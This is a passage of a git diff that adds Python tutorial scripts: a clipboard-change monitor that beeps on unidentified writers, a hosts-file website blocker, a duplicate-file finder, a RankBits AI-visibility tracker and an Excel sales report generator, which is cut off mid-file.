no beep + print("Clipboard modified by %s" % process_name) + + except Exception: + # Could not identify the process - BEEP! + print("Clipboard modified by unknown process") + winsound.Beep(1000, 300) + + return 0 + + +def create_listener_window(): + window_class = win32gui.WNDCLASS() + window_class.lpfnWndProc = handle_clipboard_event + window_class.lpszClassName = 'clipboardListener' + window_class.hInstance = win32api.GetModuleHandle(None) + + class_atom = win32gui.RegisterClass(window_class) + + return win32gui.CreateWindow( + class_atom, + 'clipboardListener', + 0, + 0, 0, 0, 0, + 0, 0, + window_class.hInstance, + None + ) + + +def signal_handler(sig, frame): + print("\n[+] Exiting...") + sys.exit(0) + + +def start_clipboard_monitor(): + print("[+] Clipboard listener started") + print("[+] Press Ctrl+C to exit\n") + + # Set up signal handler for Ctrl+C + signal.signal(signal.SIGINT, signal_handler) + + listener_window = create_listener_window() + ctypes.windll.user32.AddClipboardFormatListener(listener_window) + + # Pump messages but check for exit condition + try: + while True: + # Process messages with a timeout to allow checking for exit + if win32gui.PumpWaitingMessages() != 0: + break + win32api.Sleep(100) # Sleep a bit to prevent high CPU usage + except KeyboardInterrupt: + print("\n[+] Exiting...") + finally: + # Clean up - remove clipboard listener + ctypes.windll.user32.RemoveClipboardFormatListener(listener_window) + + +if __name__ == "__main__": + start_clipboard_monitor() \ No newline at end of file diff --git a/ethical-hacking/clipboard-hijacking-tool/requirements.txt b/ethical-hacking/clipboard-hijacking-tool/requirements.txt new file mode 100644 index 00000000..afd24f6a --- /dev/null +++ b/ethical-hacking/clipboard-hijacking-tool/requirements.txt @@ -0,0 +1 @@ +pywin32 \ No newline at end of file diff --git a/ethical-hacking/website-blocker/website_blocker.py b/ethical-hacking/website-blocker/website_blocker.py new file mode 100644 index 00000000..d5127585 --- /dev/null +++ b/ethical-hacking/website-blocker/website_blocker.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +""" +Website Blocker — Block distracting websites by modifying the hosts file. + +This script adds entries to your system's hosts file to redirect +specified websites to 127.0.0.1 (localhost), effectively blocking them. + +Usage: + sudo python website_blocker.py block # Block all sites + sudo python website_blocker.py unblock # Unblock all sites + python website_blocker.py status # Show blocked sites +""" + +import sys +import platform + +# ============================================================ +# CONFIGURATION — edit this list to block different sites +# ============================================================ + +SITES_TO_BLOCK = [ + # Social media + "www.facebook.com", "facebook.com", + "www.twitter.com", "twitter.com", + "www.instagram.com", "instagram.com", + "www.reddit.com", "reddit.com", + # Video / entertainment + "www.youtube.com", "youtube.com", + "www.tiktok.com", "tiktok.com", + "www.twitch.tv", "twitch.tv", +] + +REDIRECT_IP = "127.0.0.1" + +# Markers keep our entries isolated so we never touch +# other entries in the hosts file. +START_MARKER = "# >>> WEBSITE BLOCKER START >>>" +END_MARKER = "# <<< WEBSITE BLOCKER END <<<" + +# ============================================================ +# Cross‑platform hosts path +# ============================================================ + +def get_hosts_path(): + """Return the absolute path to the hosts file for this OS.""" + system = platform.system() + if system == "Windows": + return r"C:\Windows\System32\drivers\etc\hosts" + # macOS and Linux both use /etc/hosts + return "/etc/hosts" + +HOSTS_PATH = get_hosts_path() + +# ============================================================ +# Core operations +# ============================================================ + +def block_websites(): + """Write (or refresh) the blocker block into the hosts file.""" + # Read the current file + with open(HOSTS_PATH, "r") as fh: + content = fh.read() + + # Strip any previous block so we start fresh + if START_MARKER in content: + content = content.split(START_MARKER)[0].rstrip("\n") + "\n" + + # Build the block + block_lines = [START_MARKER + "\n"] + for site in SITES_TO_BLOCK: + block_lines.append(f"{REDIRECT_IP}\t{site}\n") + block_lines.append(END_MARKER + "\n") + + # Write everything back + with open(HOSTS_PATH, "w") as fh: + fh.write(content) + fh.writelines(block_lines) + + unique_sites = len(SITES_TO_BLOCK) // 2 + print(f"[+] Blocked {unique_sites} websites " + f"({len(SITES_TO_BLOCK)} URLs) → {REDIRECT_IP}") + + +def unblock_websites(): + """Remove the blocker block from the hosts file.""" + with open(HOSTS_PATH, "r") as fh: + content = fh.read() + + if START_MARKER not in content: + print("[*] No websites are currently blocked.") + return + + # Cut out the marked section + before = content.split(START_MARKER)[0].rstrip("\n") + after = content.split(END_MARKER)[-1] + new_content = before + "\n" + after.lstrip("\n") + + with open(HOSTS_PATH, "w") as fh: + fh.write(new_content) + + print("[+] All websites unblocked. Focus mode off.") + + +def show_status(): + """Print which websites are currently blocked.""" + with open(HOSTS_PATH, "r") as fh: + content = fh.read() + + if START_MARKER not in content: + print("[*] No websites are currently blocked.") + return + + block = content.split(START_MARKER)[1].split(END_MARKER)[0] + sites = [line.strip() for line in block.split("\n") + if line.strip() and not line.strip().startswith("#")] + + print(f"[*] {len(sites)} URLs currently blocked → {REDIRECT_IP}:") + for site in sites: + print(f" {site.split()[-1]}") + + +# ============================================================ +# CLI entry point +# ============================================================ + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Website Blocker — block distracting sites via /etc/hosts\n") + print("Usage:") + print(" sudo python website_blocker.py block") + print(" sudo python website_blocker.py unblock") + print(" python website_blocker.py status") + sys.exit(1) + + command = sys.argv[1].lower() + + if command == "block": + block_websites() + elif command == "unblock": + unblock_websites() + elif command == "status": + show_status() + else: + print(f"[!] Unknown command: {command}") + print("Valid commands: block, unblock, status") + sys.exit(1) diff --git a/general/file-deduplication-tool/dedup_tool.py b/general/file-deduplication-tool/dedup_tool.py new file mode 100644 index 00000000..400bf3c6 --- /dev/null +++ b/general/file-deduplication-tool/dedup_tool.py @@ -0,0 +1,252 @@ +""" +File Deduplication Tool +======================= +Finds duplicate files by SHA256 hash, displays results +in Rich tables, and calculates reclaimable disk space. + +Usage: + python dedup_tool.py # scan built-in test directory + python dedup_tool.py /path/to/directory # scan a real directory + +Requirements: + pip install rich +""" +import hashlib +import os +import shutil +import random +import sys +from pathlib import Path +from collections import defaultdict +from typing import Dict, List, Tuple +from rich.console import Console +from rich.table import Table +from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TaskProgressColumn +from rich.panel import Panel + +console = Console() + +# ═══════════════════════════════════════════════════════════════ +# HASHING +# ═══════════════════════════════════════════════════════════════ + +def get_file_hash(filepath: Path, chunk_size: int = 8192) -> str: + """Calculate SHA256 hash of a file efficiently using chunked reading.""" + sha256 = hashlib.sha256() + try: + with open(filepath, "rb") as f: + while chunk := f.read(chunk_size): + sha256.update(chunk) + return sha256.hexdigest() + except (PermissionError, OSError) as e: + return f"ERROR:{e}" + +# ═══════════════════════════════════════════════════════════════ +# SCANNER: TWO-PASS DEDUPLICATION +# ═══════════════════════════════════════════════════════════════ + +def scan_directory(root_dir: Path, min_size: int = 1) -> Tuple[Dict[str, List[Path]], int, int]: + """ + Scan directory and group files by SHA256 hash. + + First pass: group by file size (fast pre-filter). + Second pass: hash only files that share a size with another file. + + Returns: + (hash->files mapping, total_files, total_size) + """ + size_groups: Dict[int, List[Path]] = defaultdict(list) + total_files = 0 + total_size = 0 + + # First pass: group by file size + for filepath in root_dir.rglob("*"): + if filepath.is_file() and not filepath.is_symlink(): + try: + fsize = filepath.stat().st_size + if fsize >= min_size: + size_groups[fsize].append(filepath) + total_files += 1 + total_size += fsize + except OSError: + continue + + # Second pass: hash files with size collisions + hash_map: Dict[str, List[Path]] = defaultdict(list) + + with Progress( + SpinnerColumn(), + TextColumn("[progress.description]{task.description}"), + BarColumn(), + TaskProgressColumn(), + console=console, + ) as progress: + + files_to_hash = sum( + len(files) for files in size_groups.values() if len(files) > 1 + ) + + if files_to_hash == 0: + return hash_map, total_files, total_size + + task = progress.add_task("[cyan]Hashing files...", total=files_to_hash) + + for fsize, files in size_groups.items(): + if len(files) > 1: + for filepath in files: + file_hash = get_file_hash(filepath) + hash_map[file_hash].append(filepath) + progress.advance(task) + + return hash_map, total_files, total_size + + +def find_duplicates(hash_map: Dict[str, List[Path]]) -> List[Tuple[str, List[Path]]]: + """Filter to only entries where 2+ files share the same hash.""" + return [(h, files) for h, files in hash_map.items() if len(files) > 1] + +# ═══════════════════════════════════════════════════════════════ +# DISPLAY +# ═══════════════════════════════════════════════════════════════ + +def format_size(size_bytes: int) -> str: + """Format bytes to human-readable string.""" + for unit in ["B", "KB", "MB", "GB"]: + if size_bytes < 1024: + return f"{size_bytes:.1f} {unit}" + size_bytes /= 1024 + return f"{size_bytes:.1f} TB" + + +def display_results( + duplicates: List[Tuple[str, List[Path]]], + total_files: int, + total_size: int, + root_dir: Path +): + """Display duplicate files in Rich tables with summary stats.""" + if not duplicates: + console.print(Panel( + f"[green]No duplicate files found in [bold]{root_dir}[/bold]![/green]", + title="Scan Complete" + )) + return + + # Calculate wasted space + wasted_files = sum(len(files) - 1 for _, files in duplicates) + wasted_bytes = 0 + for _, files in duplicates: + file_size = files[0].stat().st_size + wasted_bytes += file_size * (len(files) - 1) + + # Summary panel + summary = Table.grid(padding=(0, 2)) + summary.add_column(style="bold cyan", justify="right") + summary.add_column(style="white") + summary.add_row("Directory scanned:", str(root_dir)) + summary.add_row("Total files:", f"{total_files:,}") + summary.add_row("Total size:", format_size(total_size)) + summary.add_row("Duplicate groups:", f"[yellow]{len(duplicates)}[/yellow]") + summary.add_row("Wasted files:", f"[red]{wasted_files}[/red]") + summary.add_row("Wasted space:", f"[red bold]{format_size(wasted_bytes)}[/red bold]") + + console.print(Panel(summary, title="Scan Summary", border_style="blue")) + + # Duplicate groups table + table = Table(title="Duplicate Files Found", show_lines=True) + table.add_column("Group", style="cyan", width=6) + table.add_column("File Path", style="white") + table.add_column("Size", style="yellow", width=12) + table.add_column("Status", width=10) + + for i, (file_hash, files) in enumerate(duplicates, 1): + file_size = format_size(files[0].stat().st_size) + for j, fpath in enumerate(files): + rel_path = str(fpath.relative_to(root_dir)) + status = "[green]KEEP[/green]" if j == 0 else "[red]DUPLICATE[/red]" + table.add_row( + str(i) if j == 0 else "", + rel_path, + file_size if j == 0 else "", + status + ) + + console.print(table) + + # Recommendation + console.print(Panel( + f"[yellow]To reclaim [bold]{format_size(wasted_bytes)}[/bold], review the " + f"[red]DUPLICATE[/red] files above and delete the copies you don't need. " + f"Keep one copy in each group ([green]KEEP[/green]).[/yellow]", + title="Recommendation", + border_style="yellow" + )) + +# ═══════════════════════════════════════════════════════════════ +# TEST SETUP (for demonstration) +# ═══════════════════════════════════════════════════════════════ + +def setup_test_files(base_dir: str = "test_files"): + """Create a directory structure with deliberate duplicates for testing.""" + if Path(base_dir).exists(): + shutil.rmtree(base_dir) + Path(base_dir).mkdir(exist_ok=True) + + dirs = ["photos", "documents", "downloads", "photos/vacation", "documents/old"] + for d in dirs: + Path(base_dir, d).mkdir(parents=True, exist_ok=True) + + random.seed(42) + + file_records = [] + for i in range(30): + size = random.choice([1024, 5120, 10240, 51200, 102400]) + content = os.urandom(size) + folder = random.choice(dirs) + ext = random.choice([".txt", ".jpg", ".png", ".pdf", ".docx", ".csv"]) + name = f"file_{i:03d}{ext}" + file_records.append((folder, name, content)) + + # Plant duplicates (same content, different names/locations) + duplicate_plan = [ + (0, "photos/vacation", "beach_photo.jpg"), + (0, "downloads", "temp_image.jpg"), # triplicate! + (5, "documents/old", "old_report.pdf"), + (10, "downloads", "budget_backup.csv"), + (15, "photos", "profile_pic_copy.png"), + (20, "documents/old", "archived_notes.docx"), + ] + + for orig_idx, dup_folder, dup_name in duplicate_plan: + folder, name, content = file_records[orig_idx] + Path(base_dir, dup_folder).mkdir(parents=True, exist_ok=True) + Path(base_dir, dup_folder, dup_name).write_bytes(content) + + for folder, name, content in file_records: + Path(base_dir, folder, name).write_bytes(content) + + return base_dir + +# ═══════════════════════════════════════════════════════════════ +# MAIN +# ═══════════════════════════════════════════════════════════════ + +def main(): + """Main entry point.""" + + # Accept a directory path from the command line, or use test files + if len(sys.argv) > 1: + target_dir = sys.argv[1] + console.print(f"[bold]Scanning [cyan]{target_dir}[/cyan] for duplicates...[/bold]\n") + else: + console.print("[bold]Setting up test files...[/bold]") + target_dir = setup_test_files("test_files") + console.print("[bold]Scanning for duplicates...[/bold]\n") + + hash_map, total_files, total_size = scan_directory(Path(target_dir)) + duplicates = find_duplicates(hash_map) + display_results(duplicates, total_files, total_size, Path(target_dir)) + + +if __name__ == "__main__": + main() diff --git a/general/rankbits-ai-visibility/ai_visibility_tracker.py b/general/rankbits-ai-visibility/ai_visibility_tracker.py new file mode 100644 index 00000000..e3cf32c4 --- /dev/null +++ b/general/rankbits-ai-visibility/ai_visibility_tracker.py @@ -0,0 +1,344 @@ +""" +Track Your AI Visibility with Python & RankBits API. + +This script demonstrates the full workflow: +1. Check your RankBits account and plan +2. Create an AI visibility scan for any domain +3. Poll until the scan completes +4. Parse the results and generate visualizations + +Requirements: + pip install requests matplotlib + +Usage: + export RANKBITS_TOKEN="rb_your_token_here" + python ai_visibility_tracker.py +""" + +import os +import sys +import time +import json +from datetime import datetime + +import requests +import matplotlib.pyplot as plt +import matplotlib.ticker as mticker + +# --------------------------------------------------------------------------- +# Configuration +# --------------------------------------------------------------------------- + +TOKEN = os.environ.get("RANKBITS_TOKEN", "rb_your_token_here") +BASE_URL = "https://rankbits.com/v1" +HEADERS = { + "Authorization": f"Bearer {TOKEN}", + "Content-Type": "application/json", +} + +# The domain you want to scan +TARGET_URL = "https://thepythoncode.com" + +# Free engines to use (omit "paid" providers like openai_pro, claude_pro, gemini_pro) +ENGINES = ["openai", "gemini", "perplexity", "claude", "google_ai_mode"] + +# Number of AI-generated prompts (plan caps apply) +PROMPT_COUNT = 5 + + +# --------------------------------------------------------------------------- +# Helper: pretty-print JSON +# --------------------------------------------------------------------------- + +def print_json(obj: dict, title: str = "") -> None: + """Print a dictionary as formatted JSON.""" + if title: + print(f"\n{'=' * 60}\n{title}\n{'=' * 60}") + print(json.dumps(obj, indent=2, default=str)) + + +# --------------------------------------------------------------------------- +# Step 1 – Check your account +# --------------------------------------------------------------------------- + +def check_account() -> dict: + """Fetch plan info and credit usage from /v1/me.""" + resp = requests.get(f"{BASE_URL}/me", headers=HEADERS) + resp.raise_for_status() + data = resp.json() + plan = data["plan"] + resp_info = plan["responses"] + + print("🔑 Account") + print(f" Plan: {plan['label']} (${plan['price_usd']}/mo)") + print(f" Monthly: {resp_info['used']}/{resp_info['monthly_limit']} responses") + print(f" Credits: {resp_info['purchased_remaining']} purchased remaining") + print(f" Engines: {len(plan['allowed_provider_keys'])} available") + return data + + +# --------------------------------------------------------------------------- +# Step 2 – Create a scan +# --------------------------------------------------------------------------- + +def create_scan( + url: str, + prompt_count: int = 5, + providers: list[str] | None = None, +) -> dict: + """Submit an async scan and return the public ID.""" + payload: dict = {"url": url, "prompt_count": prompt_count} + if providers: + payload["providers"] = providers + + resp = requests.post(f"{BASE_URL}/scans", headers=HEADERS, json=payload) + resp.raise_for_status() + data = resp.json() + + scan = data["scan"] + print(f"\n🚀 Scan created") + print(f" ID: {scan['public_id']}") + print(f" Domain: {scan['domain']}") + print(f" Status: {scan['status']}") + print(f" View live: https://rankbits.com{data['links']['app']}") + return data + + +# --------------------------------------------------------------------------- +# Step 3 – Poll until done +# --------------------------------------------------------------------------- + +def poll_scan(public_id: str, poll_seconds: float = 3.0, max_wait: float = 300.0) -> dict: + """Poll /v1/scans/{id} until status is 'done' or timeout.""" + url = f"{BASE_URL}/scans/{public_id}" + start = time.time() + last_completed = 0 + + print(f"\n⏳ Polling scan {public_id} ...") + while True: + elapsed = time.time() - start + if elapsed > max_wait: + raise TimeoutError(f"Scan did not complete within {max_wait}s") + + resp = requests.get(url, headers=HEADERS) + resp.raise_for_status() + data = resp.json() + + status = data["scan"]["status"] + progress = data.get("progress", {}) + completed = progress.get("completed_results", 0) + expected = progress.get("expected_results", 0) + + # Print progress when it changes + if completed != last_completed: + pct = (completed / expected * 100) if expected else 0 + print(f" [{status}] {completed}/{expected} ({pct:.0f}%)") + last_completed = completed + + if status == "done": + print(" ✅ Scan complete!") + return data + if status in ("error", "failed"): + raise RuntimeError(f"Scan failed: {data}") + + time.sleep(poll_seconds) + + +# --------------------------------------------------------------------------- +# Step 4 – Parse & display results +# --------------------------------------------------------------------------- + +def summarize_results(data: dict) -> None: + """Print a human-readable summary of scan results.""" + aggregate = data.get("aggregate", {}) + overall = aggregate.get("overall", {}) + providers = aggregate.get("providers", {}) + results = data.get("results", []) + prompts = data.get("prompts", []) + + # ---- 4a. Overview ---- + print(f"\n📊 Visibility Summary for {data['scan']['domain']}") + print(f" Overall score: {overall.get('score', 'N/A')}") + print(f" Mention rate: {overall.get('mention_rate', 0):.1f}%") + print(f" Citation rate: {overall.get('citation_rate', 0):.1f}%") + print(f" Total results: {len(results)} rows") + + # ---- 4b. Per-engine breakdown ---- + print(f"\n🤖 Engine Breakdown") + print(f" {'Engine':<20s} {'Score':>7s} {'Mention%':>9s} {'Citation%':>10s}") + print(f" {'-'*46}") + for key, pdata in sorted(providers.items(), key=lambda x: -x[1].get("score", 0)): + print( + f" {key:<20s} {pdata.get('score', 0):>7.1f} " + f"{pdata.get('mention_rate', 0):>8.1f}% {pdata.get('citation_rate', 0):>9.1f}%" + ) + + # ---- 4c. Prompts used ---- + print(f"\n💬 Prompts ({len(prompts)})") + for p in prompts: + print(f" • {p['text']}") + + # ---- 4d. Share of voice (top 5) ---- + sov = aggregate.get("share_of_voice", []) + if sov: + print(f"\n🔗 Top Cited Domains (Share of Voice)") + for entry in sov[:5]: + print(f" {entry['domain']:40s} {entry.get('citation_count', 0)} citations") + + # ---- 4e. Where we were found ---- + found = [r for r in results if r.get("brand_mentioned") or r.get("brand_cited")] + if found: + print(f"\n✅ Where {data['scan']['domain']} Appeared ({len(found)}/{len(results)})") + for r in found: + mentioned = "✅" if r["brand_mentioned"] else "❌" + cited = "✅" if r["brand_cited"] else "❌" + print(f" [{r['provider']:20s}] Mentioned: {mentioned} Cited: {cited}") + print(f" Prompt: {r['prompt'][:100]}") + else: + print(f"\n⚠️ {data['scan']['domain']} was NOT mentioned or cited in any result!") + print(" Time to improve your AI visibility! → https://rankbits.com") + + +# --------------------------------------------------------------------------- +# Step 5 – Generate charts +# --------------------------------------------------------------------------- + +def generate_charts(data: dict, output_dir: str = ".") -> None: + """Create matplotlib charts from scan results.""" + aggregate = data.get("aggregate", {}) + providers = aggregate.get("providers", {}) + domain = data["scan"]["domain"] + + if not providers: + print("⚠️ No provider data to chart.") + return + + # Sort engines by score descending + engines = sorted(providers.items(), key=lambda x: -x[1].get("score", 0)) + names = [e[0].replace("_", " ").title() for e in engines] + scores = [e[1].get("score", 0) for e in engines] + mention_rates = [e[1].get("mention_rate", 0) for e in engines] + citation_rates = [e[1].get("citation_rate", 0) for e in engines] + + # Colors + bar_color = "#7c3aed" + mention_color = "#10b981" + citation_color = "#f59e0b" + + # ---- Chart 1: Scores by engine ---- + fig1, ax1 = plt.subplots(figsize=(8, 5)) + bars = ax1.barh(names, scores, color=bar_color, edgecolor="white", linewidth=0.5, height=0.5) + ax1.set_xlabel("Visibility Score (0–100)", fontsize=11) + ax1.set_title(f"AI Visibility Score by Engine — {domain}", fontsize=13, fontweight="bold") + ax1.invert_yaxis() + ax1.xaxis.set_major_formatter(mticker.FormatStrFormatter("%.0f")) + for bar, val in zip(bars, scores): + ax1.text(bar.get_width() + 0.5, bar.get_y() + bar.get_height() / 2, + f"{val:.1f}", va="center", fontsize=10, fontweight="semibold") + ax1.set_xlim(0, max(scores) * 1.3 + 5 if max(scores) > 0 else 30) + plt.tight_layout() + fig1.savefig(f"{output_dir}/engine_scores.png", dpi=150) + print(f"\n📈 Chart saved: {output_dir}/engine_scores.png") + + # ---- Chart 2: Mention vs Citation rates ---- + fig2, ax2 = plt.subplots(figsize=(8, 5)) + x = range(len(names)) + width = 0.35 + ax2.bar([i - width / 2 for i in x], mention_rates, width, label="Mention Rate %", + color=mention_color, edgecolor="white", linewidth=0.5) + ax2.bar([i + width / 2 for i in x], citation_rates, width, label="Citation Rate %", + color=citation_color, edgecolor="white", linewidth=0.5) + ax2.set_xticks(x) + ax2.set_xticklabels(names, fontsize=9) + ax2.set_ylabel("Percentage (%)", fontsize=11) + ax2.set_title(f"Mention vs Citation Rate — {domain}", fontsize=13, fontweight="bold") + ax2.legend(fontsize=10, loc="upper right") + ax2.set_ylim(0, max(max(mention_rates), max(citation_rates)) * 1.4 + 5) + plt.tight_layout() + fig2.savefig(f"{output_dir}/mention_vs_citation.png", dpi=150) + print(f"📈 Chart saved: {output_dir}/mention_vs_citation.png") + + # ---- Chart 3: Results grid (heatmap-style table) ---- + results = data.get("results", []) + if results: + # Build a matrix: rows=prompts, cols=engines + prompt_texts = sorted({r["prompt"][:60] for r in results}) + engine_names = sorted({r["provider"] for r in results}) + + matrix = [] + for pt in prompt_texts: + row = [] + for eng in engine_names: + match = [r for r in results if r["prompt"].startswith(pt[:30]) and r["provider"] == eng] + if match: + m = match[0] + if m["brand_cited"]: + row.append(2) # cited (best) + elif m["brand_mentioned"]: + row.append(1) # mentioned + else: + row.append(0) # absent + else: + row.append(0) + matrix.append(row) + + fig3, ax3 = plt.subplots(figsize=(max(8, len(engine_names) * 1.2), + max(5, len(prompt_texts) * 0.6))) + cmap = plt.cm.RdYlGn + im = ax3.imshow(matrix, cmap=cmap, aspect="auto", vmin=0, vmax=2) + + ax3.set_xticks(range(len(engine_names))) + ax3.set_xticklabels([e.replace("_", " ").title() for e in engine_names], + rotation=30, ha="right", fontsize=9) + ax3.set_yticks(range(len(prompt_texts))) + ax3.set_yticklabels(prompt_texts, fontsize=8) + + # Add text in each cell + for i in range(len(prompt_texts)): + for j in range(len(engine_names)): + val = matrix[i][j] + symbol = {0: "○", 1: "▲", 2: "★"}[val] + ax3.text(j, i, symbol, ha="center", va="center", + fontsize=14, color="black" if val == 2 else "white") + + ax3.set_title(f"Presence Grid — {domain}\n○ Absent ▲ Mentioned ★ Cited", + fontsize=12, fontweight="bold") + plt.tight_layout() + fig3.savefig(f"{output_dir}/presence_grid.png", dpi=150) + print(f"📈 Chart saved: {output_dir}/presence_grid.png") + + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- + +def main() -> None: + if TOKEN == "rb_your_token_here": + print("❌ Set your RANKBITS_TOKEN environment variable first.") + print(" Get one at: https://rankbits.com/signup") + sys.exit(1) + + print(f"🎯 Tracking AI visibility for: {TARGET_URL}") + print(f" Engines: {', '.join(ENGINES)}") + + # 1. Check account + check_account() + + # 2. Start scan + scan_data = create_scan(TARGET_URL, prompt_count=PROMPT_COUNT, providers=ENGINES) + public_id = scan_data["scan"]["public_id"] + + # 3. Poll until complete + results = poll_scan(public_id) + + # 4. Summarize + summarize_results(results) + + # 5. Charts + generate_charts(results) + + print("\n✨ Done! Track ongoing visibility at https://rankbits.com") + + +if __name__ == "__main__": + main() diff --git a/general/sales-report-generator/sales_report_generator.py b/general/sales-report-generator/sales_report_generator.py new file mode 100644 index 00000000..eea6c278 --- /dev/null +++ b/general/sales-report-generator/sales_report_generator.py @@ -0,0 +1,283 @@ +""" +Automated Sales Report Generator +Produces a 4-sheet professional Excel report from raw sales data. + +Usage: + python sales_report_generator.py + → generates Sales_Report_Q1_2025.xlsx + +Requirements: + pip install openpyxl +""" +from openpyxl import Workbook +from openpyxl.styles import Font, PatternFill, Alignment, Border, Side +from openpyxl.chart import BarChart, PieChart, Reference +from openpyxl.chart.label import DataLabelList +from openpyxl.chart.series import DataPoint +from openpyxl.utils import get_column_letter +from openpyxl.formatting.rule import DataBarRule, ColorScaleRule +from collections import defaultdict + +# ============================================================ +# CONFIGURATION — swap this with your own data source +# ============================================================ +SALES_DATA = [ + # Product, Category, Region, Units, Price, Cost + ["Wireless Mouse", "Accessories", "North", 145, 24.99, 12.50], + ["Mechanical Keyboard", "Accessories", "North", 98, 89.99, 45.00], + ["USB-C Hub", "Accessories", "South", 210, 34.50, 17.25], + ["27\" Monitor", "Displays", "East", 45, 299.99, 180.00], + ["24\" Monitor", "Displays", "West", 67, 189.99, 110.00], + ["Webcam 1080p", "Peripherals", "North", 167, 54.99, 27.50], + ["Laptop Stand", "Accessories", "South", 320, 39.99, 15.00], + ["Desk Lamp LED", "Office", "East", 275, 29.99, 10.00], + ["Standing Desk", "Office", "West", 22, 499.99, 250.00], + ["Noise Canceling Phones", "Audio", "North", 89, 149.99, 75.00], + ["Bluetooth Speaker", "Audio", "South", 134, 79.99, 40.00], + ["HDMI Cable 6ft", "Accessories", "East", 450, 12.99, 4.00], + ["Wireless Charger", "Accessories", "West", 189, 19.99, 8.00], + ["Ergonomic Chair", "Office", "North", 15, 899.99, 450.00], +] + +# ============================================================ +# STYLES +# ============================================================ +DARK_BLUE, MED_BLUE, LIGHT_BLUE = "1F4E79", "2E75B6", "D6E4F0" +GREEN_HEADER, LIGHT_GREEN, WHITE = "375623", "E2EFDA", "FFFFFF" + +hdr_fill = PatternFill(start_color=DARK_BLUE, end_color=DARK_BLUE, fill_type="solid") +hdr_font = Font(name="Calibri", size=11, bold=True, color=WHITE) +hdr_align = Alignment(horizontal="center", vertical="center", wrap_text=True) +thin_border = Border(left=Side(style="thin"), right=Side(style="thin"), + top=Side(style="thin"), bottom=Side(style="thin")) +alt_fill = PatternFill(start_color=LIGHT_BLUE, end_color=LIGHT_BLUE, fill_type="solid") +curr_fmt, num_fmt, pct_fmt = '$#,##0.00', '#,##0', '0.0%' + +# ============================================================ +# BUILD WORKBOOK +# ============================================================ +wb = Workbook() + +# ----- SHEET 1: Detailed Sales Data ----- +ws = wb.active +ws.title = "Sales Data" + +headers = ["Product", "Category", "Region", "Units Sold", + "Unit Price", "Unit Cost", "Revenue", "Profit", "Margin %"] +for c, h in enumerate(headers, 1): + cell = ws.cell(row=1, column=c, value=h) + cell.fill, cell.font, cell.alignment, cell.border = hdr_fill, hdr_font, hdr_align, thin_border + +for r, row in enumerate(SALES_DATA, 2): + for c, val in enumerate(row, 1): + cell = ws.cell(row=r, column=c, value=val) + cell.font = Font(name="Calibri", size=10) + cell.border = thin_border + if c >= 4: + cell.alignment = Alignment(horizontal="right") + if r % 2 == 0: + cell.fill = alt_fill + + # Formulas + ws.cell(row=r, column=7, value=f"=D{r}*E{r}") + ws.cell(row=r, column=8, value=f"=G{r}-(D{r}*F{r})") + ws.cell(row=r, column=9, value=f"=H{r}/G{r}") + ws.cell(row=r, column=5).number_format = curr_fmt + ws.cell(row=r, column=6).number_format = curr_fmt + ws.cell(row=r, column=7).number_format = curr_fmt + ws.cell(row=r, column=8).number_format = curr_fmt + ws.cell(row=r, column=9).number_format = pct_fmt + +# Totals row +tr = len(SALES_DATA) + 2 +ws.merge_cells(f"A{tr}:C{tr}") +tc = ws.cell(row=tr, column=1, value="TOTALS") +tc.font = Font(name="Calibri", size=11, bold=True, color=DARK_BLUE) +tc.alignment = Alignment(horizontal="right") +tc.fill = PatternFill(start_color=LIGHT_GREEN, end_color=LIGHT_GREEN, fill_type="solid") +for col in [4, 7, 8]: + cell = ws.cell(row=tr, column=col) + cell.value = f"=SUM({get_column_letter(col)}2:{get_column_letter(col)}{tr - 1})" + cell.font = Font(name="Calibri", size=11, bold=True) + cell.fill = PatternFill(start_color=LIGHT_GREEN, end_color=LIGHT_GREEN, fill_type="solid") + cell.border = thin_border + cell.number_format = curr_fmt if col >= 7 else num_fmt + +# Conditional formatting + freeze + auto-filter +ws.conditional_formatting.add( + f"I2:I{tr - 1}", + ColorScaleRule(start_type="num", start_value=0, start_color="F8696B", + mid_type="percentile", mid_value=50, mid_color="FFEB84", + end_type="num", end_value=0.6, end_color="63BE7B")) +ws.conditional_formatting.add( + f"D2:D{tr - 1}", + DataBarRule(start_type="min", end_type="max", color=MED_BLUE, showValue=True)) +ws.freeze_panes = "A2" +ws.auto_filter.ref = f"A1:I{tr - 1}" + +# Column widths +for i, w in enumerate([26, 16, 10, 12, 14, 14, 14, 14, 12], 1): + ws.column_dimensions[get_column_letter(i)].width = w + +# ----- SHEET 2: Category Summary ----- +ws_cat = wb.create_sheet("Category Summary") + +# Aggregate by category +cat_data = defaultdict(lambda: {"units": 0, "revenue": 0.0, "profit": 0.0}) +for row in SALES_DATA: + cat, units, price, cost = row[1], row[3], row[4], row[5] + rev = units * price + cat_data[cat]["units"] += units + cat_data[cat]["revenue"] += rev + cat_data[cat]["profit"] += rev - (units * cost) + +sorted_cats = sorted(cat_data.items(), key=lambda x: x[1]["revenue"], reverse=True) + +for c, h in enumerate(["Category", "Total Units", "Total Revenue", "Total Profit", "Margin %"], 1): + cell = ws_cat.cell(row=1, column=c, value=h) + cell.fill = PatternFill(start_color=GREEN_HEADER, end_color=GREEN_HEADER, fill_type="solid") + cell.font = Font(name="Calibri", size=11, bold=True, color=WHITE) + cell.alignment, cell.border = hdr_align, thin_border + +for r, (cat, vals) in enumerate(sorted_cats, 2): + ws_cat.cell(row=r, column=1, value=cat) + ws_cat.cell(row=r, column=2, value=vals["units"]) + ws_cat.cell(row=r, column=3, value=round(vals["revenue"], 2)) + ws_cat.cell(row=r, column=4, value=round(vals["profit"], 2)) + ws_cat.cell(row=r, column=5, value=f"=D{r}/C{r}") + for c in range(1, 6): + cell = ws_cat.cell(row=r, column=c) + cell.font = Font(name="Calibri", size=10) + cell.border = thin_border + if c >= 2: + cell.alignment = Alignment(horizontal="right") + if r % 2 == 0: + cell.fill = alt_fill + ws_cat.cell(row=r, column=3).number_format = curr_fmt + ws_cat.cell(row=r, column=4).number_format = curr_fmt + ws_cat.cell(row=r, column=5).number_format = pct_fmt + +# Bar chart +bar = BarChart() +bar.type = "col" +bar.style = 10 +bar.title = "Revenue by Product Category" +bar.width, bar.height = 22, 14 +bar.add_data(Reference(ws_cat, min_col=3, min_row=1, max_row=len(sorted_cats) + 1), + titles_from_data=True) +bar.set_categories(Reference(ws_cat, min_col=1, min_row=2, max_row=len(sorted_cats) + 1)) +chart_colors = ["2E75B6", "ED7D31", "A5A5A5", "FFC000", "4472C4", 